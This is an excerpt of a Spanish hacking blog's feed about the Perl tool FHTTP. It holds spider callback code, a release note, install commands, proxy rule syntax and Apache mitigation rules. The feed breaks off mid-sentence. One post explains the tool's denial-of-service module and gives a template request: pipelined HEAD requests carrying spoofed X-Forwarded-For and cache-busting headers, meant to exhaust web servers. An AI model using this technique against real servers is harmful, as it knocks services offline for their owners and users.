1</title><content type='html'>Hey creo que comenzare a necesitar alguien que ayude a traducir las publicaciones por que de ahora en adelante van a ser bastantes y la idea es tener un publico "global" xD...&lt;br /&gt;&lt;br /&gt;Vamos a comenzar a tirar algunas ideas un poco extrañas pero que en la practica pueden ser de utilidad.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Convirtiendo la FHTTP en un link spider.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para que un link-spider? la duda surge... no ya enserio un link spider que pueda ir junto con la navegación del "usuario" (no nos complicaremos con términos xD) puede ser algo interesante, es decir si tienes todo lo que se esta enviando al navegador del usuario no tienes que preocuparte tanto por un armar un sistema que se encargue de desarmar la web como la leería el navegador, es decir si nosotros nos topamos con una web que utiliza ajax para cargar las paginas... o peor aun al we&lt;strike&gt;y&lt;/strike&gt;bmaster se le dio por armarla en flash :S... es difícil que un spider común extraiga los enlaces... pero si lo combinamos con un proxy, de un modo u otro vamos a pescar los enlaces que se vayan a cargar :D...&lt;br /&gt;&lt;br /&gt;Antes de continuar es recomendable que previamente conocieran el&lt;a href="http://hackingtelevision.blogspot.com/2011/05/diseno-de-reglas-para-proxy-evasor.html"&gt; motor avanzado del proxy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comenzamos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La FHTTP tiene algunas opciones muy curiosas entre las que se encuentra un simple script para extraer los enlaces, entre las ventajas que tiene dicho script es que corrige path transversal y otras trampas usadas para "saltar" los link spiders, en caso de que eso no sea suficiente pueden editarlo manualmente :P.&lt;br /&gt;&lt;br /&gt;sub geturls($html,$proto,$host,$path);&lt;br /&gt;&lt;br /&gt;Ese es el "proto" de dicha función, pero realmente nada mas es necesario pasar html, lo demás se usa para auto-completar url's (relativas) y obtener las completas.&lt;br /&gt;&lt;br /&gt;Vamos a lo simple:&lt;br /&gt;&lt;pre class="Php" name="code"&gt;sub spider {&lt;br /&gt;my $rcontenido = $_[0];&lt;br /&gt;my $paqenvio = $_[1];&lt;br /&gt;my %links = tools::geturls($rcontenido);&lt;br /&gt;while(my ($link,$veces) = each(%links)) {&lt;br /&gt;open LOG, "&amp;gt;reportes.txt";&lt;br /&gt;print LOG $links."\n";&lt;br /&gt;close(LOG);&lt;br /&gt;}&lt;br /&gt;return $rcontenido;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pero si no nos gusta tener solo las url's relativas... podemos jugar un poco mas:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;sub spider {&lt;br /&gt;my $rcontenido = $_[0];&lt;br /&gt;my $paqenvio = $_[1];&lt;br /&gt;my @lineas = split(/[\r\n]+/,$paqenvio); # $lineas[0] = req line&lt;br /&gt;my ($method,$url,$version) = split(/\s+/,$lineas[0]);&lt;br /&gt;my ($proto,$host,$hostheader,$path,$puerto) = tools::parseurl($url);&lt;br /&gt;my %links = tools::geturls($rcontenido,$proto,$hostheader,$path);&lt;br /&gt;while(my ($link,$veces) = each(%links)) {&lt;br /&gt;	open LOG, "&amp;gt;reportes.txt";&lt;br /&gt;	print LOG $links."\n";&lt;br /&gt;	close(LOG);&lt;br /&gt;}&lt;br /&gt;return $rcontenido;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pero... aun no siento que sea un spider completo... digo ya extrae los links... pero que hay de las imágenes?&lt;br /&gt;&lt;br /&gt;Como saber cuando el navegador esta cargando una imagen y no un enlace?... la forma mas fácil sería tomarla del código fuente  como hacemos con los enlaces o no?... pero no quiero, quiero atrapar las imágenes al vuelo :P, siendo un poco mas claro atrapar la consulta a la imagen, no el html que tiene el enlace a la imagen, el por que?, como dije al inicio las webs no siempre van a estar en simple html, también se puede integrar ajax (JS xD) o flash que va a hacer la labor de cargar las imágenes pero sin que nosotros podamos ver en plano la dirección en el código fuente (html) por ello vamos a hacer un pequeño "hack" (por así llamarle) al funcionamiento del navegador, como distinguimos un request a un archivo de texto/html de otro a una imagen?.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Accept: image/*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al leer ese encabezado con dicho valor... queda bastante claro que la prioridad del navegador es bajar una imagen, desde luego el valor puede variar pero casi siempre comienza de esa forma (&lt;span style="font-weight: bold;"&gt;image/&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;	&lt;br /&gt;sub spider {&lt;br /&gt;my $rcontenido = $_[0];&lt;br /&gt;my $paqenvio = $_[1];&lt;br /&gt;my @lineas = split(/[\r\n]+/,$paqenvio);&lt;br /&gt;	if($paqenvio =~ /[\r\n]+Accept: image\//i) { # buscamos el header&lt;br /&gt;		my ($url) = ($lineas[0] =~ /^\w+([\s\t]+)([^\s\t]+)/); #extraemos la url&lt;br /&gt;		foreach $header (@lineas) { # recorremos los headers&lt;br /&gt;			if(($header =~ /Host:\s+([^\r\n]+)/)) { #buscamos el header host y su valor :P&lt;br /&gt;				$host = $1;&lt;br /&gt;				last;&lt;br /&gt;			}&lt;br /&gt;		}&lt;br /&gt;		if($url !~ /^http/) { # en caso de que no sea una url completa, agregamos lo que falta&lt;br /&gt;			$url = "http://".$host.(($url !~ /^\//) ? "/" : "").$url;&lt;br /&gt;		}&lt;br /&gt;		open IMAGENES,"&amp;gt;&amp;gt;imagenes.txt"; # abrimos el log&lt;br /&gt;		print IMAGENES $url."\n"; # guardamos&lt;br /&gt;		close(IMAGENES); # cerramos&lt;br /&gt;	}&lt;br /&gt;return $rcontenido;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Desde luego nos falta conectar nuestra función a la FHTTP, tan simple como:&lt;br /&gt;&lt;pre class="Php" name="code"&gt;my @rcontenidocallbacks = (&lt;br /&gt;                           rcontenidocall,&lt;br /&gt;                           spider,&lt;br /&gt;                       );&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;Happy Hacks!&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-8402684294391989855?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/8402684294391989855/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=8402684294391989855' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/8402684294391989855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/8402684294391989855'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/08/fhttp-hacking-cap-1.html' title='FHTTP Hacking - Cap 1'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-2463547619554709294</id><published>2011-08-08T21:42:00.002-05:00</published><updated>2011-08-08T22:22:53.206-05:00</updated><title type='text'>FHTTP MN != Slowloris</title><content type='html'>Últimamente me preguntan mucho si el modulo MN (DoS Tool) de la FHTTP es lo mismo que Slowloris... y no, no es así xD...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Como funciona Slowloris?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esta herramienta (desarrollada por RSnake) traba de la siguiente forma:&lt;br /&gt;Cliente -&amp;gt; Servidor (Establece la conexión).&lt;br /&gt;Cliente -&amp;gt; Servidor (Envía parte del encabezado)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo:&lt;/span&gt;&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: google.com&lt;br /&gt;x-a: 1&lt;br /&gt;(Espera cierto tiempo y continua)&lt;br /&gt;x-a1: 2&lt;br /&gt;(Espera cierto tiempo y continua)&lt;br /&gt;x-b2: 7&lt;br /&gt;(etc...)&lt;br /&gt;&lt;br /&gt;Es decir el servidor esta recibiendo de forma parcial el request, por lo cual se mantiene activa la conexión, slowloris en este caso lo que tiene que hacer es crear múltiples conexiones y hacer lo mismo, de modo que se satura el servidor (tendrá muchas conexiones activas al mismo tiempo).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Desventajas:&lt;/span&gt;&lt;br /&gt;Al enviar contenido parcial no es muy factible usar un Proxy HTTP convencional para "esconder" (es decir hacer ligeramente mas difícil que nos localicen xD), debido a que muchos (proxy's) intentan leer todo el request (hasta recibir doble LF/CRLF) de modo que al no terminar de recibir no establece la conexión con el servidor y nuestro ataque se queda en el proxy, y bien pueden DoSear al proxy xD.&lt;br /&gt;Solución: usar una VPN xD...&lt;br /&gt;Ademas esta el hecho de que tu también mantienes un numero igual de conexiones a las que mantiene el servidor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Como funciona MN?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Que pasa cuando enviamos un GET o un HEAD al servidor?&lt;br /&gt;En el caso del HEAD:&lt;br /&gt;&lt;br /&gt;HEAD / HTTP/1.1&lt;br /&gt;Host: destino&lt;br /&gt;&lt;br /&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Tue, 09 Aug 2011 02:51:47 GMT&lt;br /&gt;Server: Apache/2.2.8 (Unix) PHP/5.2.12&lt;br /&gt;X-Powered-By: PHP/5.2.12&lt;br /&gt;Set-Cookie: PHPSESSID=a3afdbf074f0d0ef7a6782962455468d; path=/&lt;br /&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;br /&gt;Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Last-Modified: Tue, 09 Aug 2011 02:51:48 GMT&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Me viene a la mente... y esa cookie?, obviamente no la genero apache, es decir es una "session" PHP, por lo cual quiere decir que PHP esta trabajando al hacer el HEAD... pero no se genera de forma autónoma, por lógica la genero el index, en otras palabras se esta procesando el index (todo para generar los headers), lo cual quiere decir que si no queremos que el servidor nos responda todo el contenido (no gastar nuestra banda) pero que aun así procese el archivo únicamente tenemos que enviar HEAD's.&lt;br /&gt;&lt;br /&gt;Pero eso nos basta para denegar un servidor?, lamento decirles que no xD...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conexiones Persistentes y Pipelining:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Que es exactamente conexiones persistentes?&lt;br /&gt;una conexión persistente o keep-alive quiere decir que podemos realizar varios request en la misma conexión sin cerrarla y volver a establecerla.&lt;br /&gt;&lt;br /&gt;Que significa Pipelining?&lt;br /&gt;Significa que podemos enviar múltiples request "concatenados" sin esperar que el servidor nos responda previamente.&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: google.com&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.1&lt;br /&gt;Host: google.com&lt;br /&gt;&lt;br /&gt;HTTP/1.1 301 Moved Permanently&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;HTTP/1.1 301 Moved Permanently&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como podrán notar nos respondió a las dos consultas que enviamos en el orden que las enviamos, pero después de que nosotros termináramos de enviar todas las consultas.&lt;br /&gt;&lt;br /&gt;Lo que va haciendo es como vaya terminando de procesar nos va a enviar las respuestas... o no?, al menos eso debería pero por lo menos apache no lo hace... y no tengo tiempo de listar todos los demás servidores que no lo hacen :P.&lt;br /&gt;A que nos lleva esto?&lt;br /&gt;Enviamos una serie de request concatenados por una sola conexión (pipelining), pero cortamos la conexión antes de que nos termine de responder el servidor.&lt;br /&gt;O bien podemos enviar masivo los paquetes y ver cuantos nos llegan xD...&lt;br /&gt;Pero eso no es todo ;)...&lt;br /&gt;Que le pasa a apache cuando recibe cierto numero de consultas?, despliega hilos, es decir hilos listos para procesar las consultas... pero si el usuario solo realizo una conexión pero envió... digamos 300 consultas... que le pasara a apache? lo que tenemos es que el mismo apache se ahoga en hilos :P&lt;br /&gt;&lt;br /&gt;Ah se me pasaba, no es solo cuestión de apache, funciona igual con IIS y una infinidad de servidores web mas... a decir verdad nunca me he encontrado con un servidor que no sea vulnerable... por lo que esto es un problema bastante grave :P...&lt;br /&gt;Como podemos hacer aun mas grande el dolor de cabeza del administrador?&lt;br /&gt;Combinando el potencial :D...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fastidiando un poco mas:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;HEAD /$file HTTP/1.1&lt;br /&gt;Host: $host&lt;br /&gt;User-Agent: Mozilla/5.0&lt;br /&gt;CLIENT-IP: $ipinicial&lt;br /&gt;X-Forwarded-For: $ipinicial&lt;br /&gt;If-None-Match: ThisWebSuck!-Todo-dicho! xD&lt;br /&gt;If-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Content-Length: 0&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;Primero se resalta el uso de los encabezados CLIENT-IP y X-Forwarded-For, lo cuales en una infinidad de CMS's se toman como la "verdadera ip" del visitante, por lo cual se usan en muchas consultas a base de datos, en el caso de Joomla y SMF es sorprendente la cantidad de consultas adicionales que se realizan a base de datos cuando el valor de CLIENT-IP/X-Forwarded-For cambia :P... ademas de que al registrar las IP's de los visitantes se generan registros extra.&lt;br /&gt;También podemos ver encabezados para fastidiar un poco a la cache...&lt;br /&gt;y Accept-Encoding: gzip,deflate, el cual lo agregue con la idea de forzar un poco mas al servidor, que pasa cuando enviamos un request al servidor sin dicho encabezado?, ignora la compresión (normalmente) lo cual son menos recursos (procesamiento) del servidor consumidos, al agregar dicho encabezado el servidor debería realizar la compresión... pero espera... que no usamos HEAD?, Para que comprimir lo que no se va a enviar?, para gastar recursos obviamente :P...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bueno ahora les agradecería no volvieran a preguntar si MN es lo mismo que Slowloris gracias :P...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-2463547619554709294?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/2463547619554709294/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=2463547619554709294' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2463547619554709294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2463547619554709294'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/08/fhttp-mn-slowloris.html' title='FHTTP MN != Slowloris'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-2469193768645167835</id><published>2011-08-07T18:30:00.003-05:00</published><updated>2011-08-07T19:00:52.852-05:00</updated><title type='text'>FHTTP v1.3 Liberada</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/--h2ohMp8mQI/Tj8hK3_kqrI/AAAAAAAAAHk/gIsLnYktePM/s1600/logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 212px;" src="http://1.bp.blogspot.com/--h2ohMp8mQI/Tj8hK3_kqrI/AAAAAAAAAHk/gIsLnYktePM/s320/logo.png" alt="" id="BLOGGER_PHOTO_ID_5638261729204153010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por fin les puedo decir que me complazco en anunciar la  versión 1.3 de esta herramienta :P&lt;br /&gt;Esta vez si es funcional xD...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cambios (mayores):&lt;/span&gt;&lt;br /&gt;* Se corrigieron bugs de manejo del url encode en el proxy (se realizaba decode de forma innecesaria).&lt;br /&gt;* Se re-diseño por completo el motor del proxy para acelerar su funcionamiento.&lt;br /&gt;* Se agregaron reglas.&lt;br /&gt;* Se eliminaron fugas de memoria (no se cerraban a tiempo las conexiones entre otras cosas).&lt;br /&gt;* Funciona en cualquier plataforma con Perl (tiene la capacidad de trabajar aunque no tenga todas las dependencias, es decir trabaja adaptándose a lo que se tiene).&lt;br /&gt;* Se agregaron muchas funciones que en publicaciones siguientes comentare :P...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Créditos:&lt;/span&gt;&lt;br /&gt;@LightOS (Roberto Salgado) por ayudarme como betatester a encontrar una infinidad de bugs :P.&lt;br /&gt;@angelusniger (Angelus Inflectum) por aguantarnos en su casa (y alimentarnos cuando llegamos sin avisar) xD.&lt;br /&gt;@lil_lilitu por prestarnos sus equipos para... casi romperlos haciendo pruebas xD...&lt;br /&gt;Seguramente se me esta pasando agregar a muchas personas a la lista sin las cuales esta herramienta no sería lo que es. A todos ellos Gracias!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mediafire.com/?akcvnfa7r0btvc7"&gt;Descargar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-2469193768645167835?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/2469193768645167835/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=2469193768645167835' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2469193768645167835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2469193768645167835'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/08/fhttp-v13-liberada.html' title='FHTTP v1.3 Liberada'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/--h2ohMp8mQI/Tj8hK3_kqrI/AAAAAAAAAHk/gIsLnYktePM/s72-c/logo.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-1203025009876307852</id><published>2011-07-26T15:57:00.003-05:00</published><updated>2011-07-26T16:05:28.646-05:00</updated><title type='text'>Solución temporal contra FHTTP - Apache/2.x</title><content type='html'>Les comparto la solución de mi amigo Marcos Ricardo Schejtman Rubio (CEO de Nekasys) para reducir el impacto que puede tener esa herramienta contra nuestros servidores:&lt;br /&gt;&lt;br /&gt;Reglas del Apache::::&lt;br /&gt;&lt;br /&gt;-------------------------------------------&lt;br /&gt;&lt;br /&gt;LimitRequestBody 102400&lt;br /&gt;&lt;br /&gt;LimitRequestFields 50&lt;br /&gt;&lt;br /&gt;LimitRequestFieldSize 8190&lt;br /&gt;&lt;br /&gt;LimitInternalRecursion 5&lt;br /&gt;&lt;br /&gt;LimitRequestLine 8190&lt;br /&gt;&lt;br /&gt;--------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regla de ipTables:&lt;br /&gt;&lt;br /&gt;-A INPUT -s IP_ADDRESS -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;Recomiendo visitar su web: http://nekasys.wordpress.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-1203025009876307852?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/1203025009876307852/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=1203025009876307852' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1203025009876307852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1203025009876307852'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/07/solucion-temporal-contra-fhttp-apache2x.html' title='Solución temporal contra FHTTP - Apache/2.x'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-2736698646446242026</id><published>2011-07-23T14:27:00.002-05:00</published><updated>2011-08-07T02:46:49.348-05:00</updated><title type='text'>FHTTP (In)seguridad en http</title><content type='html'>Bienvenidos esta es una presentación del buen Xianur0 desde Campus Party MX 2011&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ustream.tv/channel/5304419"&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" height="296" width="480"&gt;&amp;nbsp; &lt;param name="flashvars" value="vid=16198405&amp;amp;autoplay=false&amp;amp;style=ub5D1719:lcCD311B:ocffffff:ucffffff"/&gt;&amp;nbsp; &lt;param name="allowfullscreen" value="true"/&gt;&amp;nbsp; &lt;param name="allowscriptaccess" value="always"/&gt;&amp;nbsp; &lt;param name="src" value="http://www.ustream.tv/flash/viewer.swf"/&gt;&amp;nbsp; &lt;embed flashvars="vid=16198405&amp;amp;autoplay=false&amp;amp;style=ub5D1719:lcCD311B:ocffffff:ucffffff" width="480" height="296" allowfullscreen="true" allowscriptaccess="always" src="http://www.ustream.tv/flash/viewer.swf" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.ustream.tv/" style="background: #ffffff; color: black; display: block; font-size: 10px; font-weight: normal; padding: 2px 0px 4px; text-align: center; text-decoration: underline; width: 400px;" target="_blank"&gt;Video streaming by Ustream&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos Lectores&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-2736698646446242026?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/2736698646446242026/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=2736698646446242026' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2736698646446242026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2736698646446242026'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/07/fhttp-inseguridad-en-http.html' title='FHTTP (In)seguridad en http'/><author><name>Angelus Inflectum</name><uri>http://www.blogger.com/profile/16740949876182371236</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://1.bp.blogspot.com/_LsUrKT8pPno/TMjmanxcuuI/AAAAAAAAAL8/W0KPR2g95Wg/S220/darkangeloc54-524149.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-7063650988068619681</id><published>2011-05-21T12:46:00.002-05:00</published><updated>2011-05-21T12:49:14.419-05:00</updated><title type='text'>FHTTP V1.2 en OpenSuse</title><content type='html'>Para los que siguen preguntando como ejecutar la FHTTP, aquí esta como instalar las dependencias en openSUSE 11.3:&lt;br /&gt;&lt;br /&gt;(Obviamente como root)&lt;br /&gt;&lt;br /&gt;cpan -i Gtk2&lt;br /&gt;cpan -i Net::SSLeay&lt;br /&gt;cpan -i IO::Socket::SSL&lt;br /&gt;cpan -i IO::Uncompress::Inflate&lt;br /&gt;cpan -i IO::Uncompress::Gunzip&lt;br /&gt;&lt;br /&gt;y ya esta xD...&lt;br /&gt;&lt;br /&gt;Bytez&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-7063650988068619681?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/7063650988068619681/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=7063650988068619681' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/7063650988068619681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/7063650988068619681'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/05/fhttp-v12-en-opensuse.html' title='FHTTP V1.2 en OpenSuse'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-1523948588576719088</id><published>2011-05-18T16:59:00.004-05:00</published><updated>2011-05-18T17:39:17.981-05:00</updated><title type='text'>Diseño de reglas para Proxy Evasor (FHTTP v1.2)</title><content type='html'>Vamos a comenzar explicando que opciones nos da la FHTTP para "diseñar reglas" para el proxy evasor de la FHTTP v1.2.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Para comenzar tenemos 2 métodos:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;reglas.txt&lt;/li&gt;&lt;li&gt;proxymodulos.pm&lt;/li&gt;&lt;/ul&gt;siendo la primera la forma mas "fácil" (requiere conocimientos de regex)  y la segunda la opción avanzada (requiere conocimientos de programación en perl).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La estructura de reglas.txt es la siguiente:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="Cpp" name="code"&gt;donde: pattern =&amp;gt; replacement &amp;lt;!-- comentario &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Todo esto tiene que estar en una sola linea (sin saltos de linea)&lt;br /&gt;&lt;br /&gt;"donde" sería que parte de la trama se editara, las opciones aceptadas son las siguientes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;url - La url de la consulta&lt;br /&gt;&lt;/li&gt;&lt;li&gt;reqline - La linea de consulta (por ejemplo: GET / HTTP/1.1).&lt;/li&gt;&lt;li&gt;header - Cada uno de los headers de forma individual (por ejemplo: Host: hackingtelevision.blogspot.com).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;postdata - El Post data del envió (datos enviados en POST).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;rheader -  Todos los headers (incluyendo el reqline) de la respuesta pero no de forma individual.&lt;/li&gt;&lt;li&gt;rcontenido - Todo el contenido de la respuesta (obviamente excluyendo los headers)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;el pattern es un regex de perl común y corriente con la diferencia de que si se usan tags html se tienen que cambiar por su respectivo valor en 